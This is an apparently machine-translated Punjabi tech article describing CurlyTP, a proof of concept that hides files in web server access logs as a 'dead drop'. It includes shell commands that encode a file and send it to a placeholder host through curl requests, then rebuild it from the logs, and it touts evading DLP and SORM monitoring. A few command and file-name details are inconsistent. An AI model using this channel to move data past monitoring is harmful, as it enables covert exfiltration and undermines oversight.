ਵਿਕੀਪੀਡੀਆ ਦੀ ਪਰਿਭਾਸ਼ਾ ਦੇ ਅਨੁਸਾਰ, ਇੱਕ ਡੈੱਡ ਡ੍ਰੌਪ ਇੱਕ ਸਾਜ਼ਿਸ਼ ਸਾਧਨ ਹੈ ਜੋ ਗੁਪਤ ਸਥਾਨ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਲੋਕਾਂ ਵਿਚਕਾਰ ਜਾਣਕਾਰੀ ਜਾਂ ਕੁਝ ਚੀਜ਼ਾਂ ਦਾ ਆਦਾਨ-ਪ੍ਰਦਾਨ ਕਰਨ ਲਈ ਕੰਮ ਕਰਦਾ ਹੈ। ਵਿਚਾਰ ਇਹ ਹੈ ਕਿ ਲੋਕ ਕਦੇ ਨਹੀਂ ਮਿਲਦੇ - ਪਰ ਉਹ ਅਜੇ ਵੀ ਸੰਚਾਲਨ ਸੁਰੱਖਿਆ ਨੂੰ ਬਣਾਈ ਰੱਖਣ ਲਈ ਜਾਣਕਾਰੀ ਦਾ ਆਦਾਨ-ਪ੍ਰਦਾਨ ਕਰਦੇ ਹਨ।

ਲੁਕਣ ਦੀ ਜਗ੍ਹਾ ਨੂੰ ਧਿਆਨ ਖਿੱਚਣਾ ਨਹੀਂ ਚਾਹੀਦਾ. ਇਸ ਲਈ, ਔਫਲਾਈਨ ਸੰਸਾਰ ਵਿੱਚ ਉਹ ਅਕਸਰ ਸਮਝਦਾਰ ਚੀਜ਼ਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ: ਕੰਧ ਵਿੱਚ ਇੱਕ ਢਿੱਲੀ ਇੱਟ, ਇੱਕ ਲਾਇਬ੍ਰੇਰੀ ਦੀ ਕਿਤਾਬ, ਜਾਂ ਇੱਕ ਰੁੱਖ ਵਿੱਚ ਇੱਕ ਖੋਖਲਾ।

ਇੰਟਰਨੈੱਟ 'ਤੇ ਬਹੁਤ ਸਾਰੇ ਏਨਕ੍ਰਿਪਸ਼ਨ ਅਤੇ ਅਗਿਆਤਕਰਨ ਟੂਲ ਹਨ, ਪਰ ਇਹਨਾਂ ਸਾਧਨਾਂ ਦੀ ਵਰਤੋਂ ਕਰਨ ਦਾ ਅਸਲ ਤੱਥ ਧਿਆਨ ਖਿੱਚਦਾ ਹੈ। ਇਸ ਤੋਂ ਇਲਾਵਾ, ਉਨ੍ਹਾਂ ਨੂੰ ਕਾਰਪੋਰੇਟ ਜਾਂ ਸਰਕਾਰੀ ਪੱਧਰ 'ਤੇ ਬਲੌਕ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ। ਮੈਂ ਕੀ ਕਰਾਂ?

ਡਿਵੈਲਪਰ ਰਿਆਨ ਫਲਾਵਰਜ਼ ਨੇ ਇੱਕ ਦਿਲਚਸਪ ਵਿਕਲਪ ਦਾ ਪ੍ਰਸਤਾਵ ਕੀਤਾ - ਕਿਸੇ ਵੀ ਵੈੱਬ ਸਰਵਰ ਨੂੰ ਲੁਕਣ ਦੀ ਥਾਂ ਵਜੋਂ ਵਰਤੋ. ਜੇ ਤੁਸੀਂ ਇਸ ਬਾਰੇ ਸੋਚਦੇ ਹੋ, ਤਾਂ ਇੱਕ ਵੈਬ ਸਰਵਰ ਕੀ ਕਰਦਾ ਹੈ? ਬੇਨਤੀਆਂ ਪ੍ਰਾਪਤ ਕਰਦਾ ਹੈ, ਫਾਈਲਾਂ ਜਾਰੀ ਕਰਦਾ ਹੈ ਅਤੇ ਲੌਗ ਲਿਖਦਾ ਹੈ। ਅਤੇ ਇਹ ਸਾਰੀਆਂ ਬੇਨਤੀਆਂ ਨੂੰ ਲੌਗ ਕਰਦਾ ਹੈ, ਇੱਥੋਂ ਤੱਕ ਕਿ ਗਲਤ ਵੀ!

ਇਹ ਪਤਾ ਚਲਦਾ ਹੈ ਕਿ ਕੋਈ ਵੀ ਵੈੱਬ ਸਰਵਰ ਤੁਹਾਨੂੰ ਲਾਗ ਵਿੱਚ ਲਗਭਗ ਕਿਸੇ ਵੀ ਸੰਦੇਸ਼ ਨੂੰ ਸੁਰੱਖਿਅਤ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ। ਫੁੱਲ ਹੈਰਾਨ ਸਨ ਕਿ ਇਸ ਦੀ ਵਰਤੋਂ ਕਿਵੇਂ ਕੀਤੀ ਜਾਵੇ।

ਉਹ ਇਹ ਵਿਕਲਪ ਪੇਸ਼ ਕਰਦਾ ਹੈ:

1. ਇੱਕ ਟੈਕਸਟ ਫਾਈਲ (ਗੁਪਤ ਸੁਨੇਹਾ) ਲਓ ਅਤੇ ਹੈਸ਼ (md5sum) ਦੀ ਗਣਨਾ ਕਰੋ।
2. ਅਸੀਂ ਇਸਨੂੰ ਏਨਕੋਡ ਕਰਦੇ ਹਾਂ (gzip+uuencode)।
3. ਅਸੀਂ ਸਰਵਰ ਨੂੰ ਜਾਣਬੁੱਝ ਕੇ ਗਲਤ ਬੇਨਤੀ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਲੌਗ ਨੂੰ ਲਿਖਦੇ ਹਾਂ।

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

ਇੱਕ ਫਾਈਲ ਨੂੰ ਪੜ੍ਹਨ ਲਈ, ਤੁਹਾਨੂੰ ਇਹਨਾਂ ਕਾਰਵਾਈਆਂ ਨੂੰ ਉਲਟ ਕ੍ਰਮ ਵਿੱਚ ਕਰਨ ਦੀ ਲੋੜ ਹੈ: ਫਾਈਲ ਨੂੰ ਡੀਕੋਡ ਅਤੇ ਅਨਜ਼ਿਪ ਕਰੋ, ਹੈਸ਼ ਦੀ ਜਾਂਚ ਕਰੋ (ਹੈਸ਼ ਨੂੰ ਖੁੱਲ੍ਹੇ ਚੈਨਲਾਂ 'ਤੇ ਸੁਰੱਖਿਅਤ ਢੰਗ ਨਾਲ ਪ੍ਰਸਾਰਿਤ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ)।

ਸਪੇਸ ਨਾਲ ਬਦਲਿਆ ਜਾਂਦਾ ਹੈ =+=ਤਾਂ ਜੋ ਪਤੇ ਵਿੱਚ ਕੋਈ ਖਾਲੀ ਥਾਂ ਨਾ ਹੋਵੇ। ਪ੍ਰੋਗਰਾਮ, ਜਿਸ ਨੂੰ ਲੇਖਕ ਕਰਲੀਟੀਪੀ ਕਹਿੰਦਾ ਹੈ, ਬੇਸ 64 ਏਨਕੋਡਿੰਗ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ, ਜਿਵੇਂ ਕਿ ਈਮੇਲ ਅਟੈਚਮੈਂਟ। ਬੇਨਤੀ ਇੱਕ ਕੀਵਰਡ ਨਾਲ ਕੀਤੀ ਗਈ ਹੈ ?transfer?ਤਾਂ ਜੋ ਪ੍ਰਾਪਤਕਰਤਾ ਇਸਨੂੰ ਲੌਗਸ ਵਿੱਚ ਆਸਾਨੀ ਨਾਲ ਲੱਭ ਸਕੇ।

ਅਸੀਂ ਇਸ ਕੇਸ ਵਿੱਚ ਲੌਗਸ ਵਿੱਚ ਕੀ ਦੇਖਦੇ ਹਾਂ?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

ਜਿਵੇਂ ਕਿ ਪਹਿਲਾਂ ਹੀ ਦੱਸਿਆ ਗਿਆ ਹੈ, ਇੱਕ ਗੁਪਤ ਸੰਦੇਸ਼ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਤੁਹਾਨੂੰ ਉਲਟ ਕ੍ਰਮ ਵਿੱਚ ਕਾਰਵਾਈਆਂ ਕਰਨ ਦੀ ਲੋੜ ਹੈ:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

ਪ੍ਰਕਿਰਿਆ ਨੂੰ ਸਵੈਚਲਿਤ ਕਰਨਾ ਆਸਾਨ ਹੈ. Md5sum ਮੇਲ ਖਾਂਦਾ ਹੈ, ਅਤੇ ਫਾਈਲ ਦੀ ਸਮੱਗਰੀ ਇਸ ਗੱਲ ਦੀ ਪੁਸ਼ਟੀ ਕਰਦੀ ਹੈ ਕਿ ਸਭ ਕੁਝ ਸਹੀ ਤਰ੍ਹਾਂ ਡੀਕੋਡ ਕੀਤਾ ਗਿਆ ਸੀ।

ਵਿਧੀ ਬਹੁਤ ਸਧਾਰਨ ਹੈ. “ਇਸ ਅਭਿਆਸ ਦਾ ਬਿੰਦੂ ਇਹ ਸਾਬਤ ਕਰਨਾ ਹੈ ਕਿ ਫਾਈਲਾਂ ਨੂੰ ਨਿਰਦੋਸ਼ ਛੋਟੀਆਂ ਵੈਬ ਬੇਨਤੀਆਂ ਦੁਆਰਾ ਟ੍ਰਾਂਸਫਰ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ, ਅਤੇ ਇਹ ਸਾਦੇ ਟੈਕਸਟ ਲੌਗਸ ਦੇ ਨਾਲ ਕਿਸੇ ਵੀ ਵੈਬ ਸਰਵਰ 'ਤੇ ਕੰਮ ਕਰਦਾ ਹੈ। ਜ਼ਰੂਰੀ ਤੌਰ 'ਤੇ, ਹਰ ਵੈੱਬ ਸਰਵਰ ਇੱਕ ਛੁਪਣ ਦੀ ਜਗ੍ਹਾ ਹੈ!

ਬੇਸ਼ੱਕ, ਵਿਧੀ ਕੇਵਲ ਤਾਂ ਹੀ ਕੰਮ ਕਰਦੀ ਹੈ ਜੇਕਰ ਪ੍ਰਾਪਤਕਰਤਾ ਦੀ ਸਰਵਰ ਲੌਗਸ ਤੱਕ ਪਹੁੰਚ ਹੋਵੇ। ਪਰ ਅਜਿਹੀ ਪਹੁੰਚ ਪ੍ਰਦਾਨ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਉਦਾਹਰਨ ਲਈ, ਬਹੁਤ ਸਾਰੇ ਹੋਸਟਰਾਂ ਦੁਆਰਾ.

ਇਸਨੂੰ ਕਿਵੇਂ ਵਰਤਣਾ ਹੈ?

ਰਿਆਨ ਫਲਾਵਰਜ਼ ਦਾ ਕਹਿਣਾ ਹੈ ਕਿ ਉਹ ਇੱਕ ਜਾਣਕਾਰੀ ਸੁਰੱਖਿਆ ਮਾਹਰ ਨਹੀਂ ਹੈ ਅਤੇ CurlyTP ਲਈ ਸੰਭਾਵਿਤ ਵਰਤੋਂ ਦੀ ਸੂਚੀ ਤਿਆਰ ਨਹੀਂ ਕਰੇਗਾ। ਉਸਦੇ ਲਈ, ਇਹ ਸੰਕਲਪ ਦਾ ਸਿਰਫ਼ ਇੱਕ ਸਬੂਤ ਹੈ ਕਿ ਅਸੀਂ ਹਰ ਰੋਜ਼ ਜੋ ਜਾਣੇ-ਪਛਾਣੇ ਟੂਲ ਦੇਖਦੇ ਹਾਂ, ਉਹ ਇੱਕ ਗੈਰ-ਰਵਾਇਤੀ ਤਰੀਕੇ ਨਾਲ ਵਰਤੇ ਜਾ ਸਕਦੇ ਹਨ।

ਵਾਸਤਵ ਵਿੱਚ, ਇਸ ਵਿਧੀ ਦੇ ਦੂਜੇ ਸਰਵਰ "ਛੁਪਾਉਣ" ਵਰਗੇ ਬਹੁਤ ਸਾਰੇ ਫਾਇਦੇ ਹਨ ਡਿਜੀਟਲ ਡੈੱਡ ਡ੍ਰੌਪ ਜ PirateBox: ਇਸ ਨੂੰ ਸਰਵਰ ਸਾਈਡ ਜਾਂ ਕਿਸੇ ਵਿਸ਼ੇਸ਼ ਪ੍ਰੋਟੋਕੋਲ 'ਤੇ ਵਿਸ਼ੇਸ਼ ਸੰਰਚਨਾ ਦੀ ਲੋੜ ਨਹੀਂ ਹੈ - ਅਤੇ ਟ੍ਰੈਫਿਕ ਦੀ ਨਿਗਰਾਨੀ ਕਰਨ ਵਾਲਿਆਂ ਵਿੱਚ ਸ਼ੱਕ ਨਹੀਂ ਪੈਦਾ ਕਰੇਗਾ। ਇਹ ਸੰਭਾਵਨਾ ਨਹੀਂ ਹੈ ਕਿ ਇੱਕ SORM ਜਾਂ DLP ਸਿਸਟਮ ਸੰਕੁਚਿਤ ਟੈਕਸਟ ਫਾਈਲਾਂ ਲਈ URL ਨੂੰ ਸਕੈਨ ਕਰੇਗਾ।

ਇਹ ਸੇਵਾ ਫਾਈਲਾਂ ਰਾਹੀਂ ਸੰਦੇਸ਼ਾਂ ਨੂੰ ਪ੍ਰਸਾਰਿਤ ਕਰਨ ਦਾ ਇੱਕ ਤਰੀਕਾ ਹੈ। ਤੁਸੀਂ ਯਾਦ ਕਰ ਸਕਦੇ ਹੋ ਕਿ ਕੁਝ ਉੱਨਤ ਕੰਪਨੀਆਂ ਕਿਵੇਂ ਰੱਖਦੀਆਂ ਸਨ HTTP ਸਿਰਲੇਖਾਂ ਵਿੱਚ ਵਿਕਾਸਕਾਰ ਨੌਕਰੀਆਂ ਜਾਂ HTML ਪੰਨਿਆਂ ਦੇ ਕੋਡ ਵਿੱਚ।

ਇਹ ਵਿਚਾਰ ਇਹ ਸੀ ਕਿ ਸਿਰਫ਼ ਵੈਬ ਡਿਵੈਲਪਰ ਹੀ ਇਸ ਈਸਟਰ ਅੰਡੇ ਨੂੰ ਦੇਖ ਸਕਣਗੇ, ਕਿਉਂਕਿ ਇੱਕ ਆਮ ਵਿਅਕਤੀ ਸਿਰਲੇਖਾਂ ਜਾਂ HTML ਕੋਡ ਨੂੰ ਨਹੀਂ ਦੇਖੇਗਾ।

ਸਰੋਤ: www.habr.com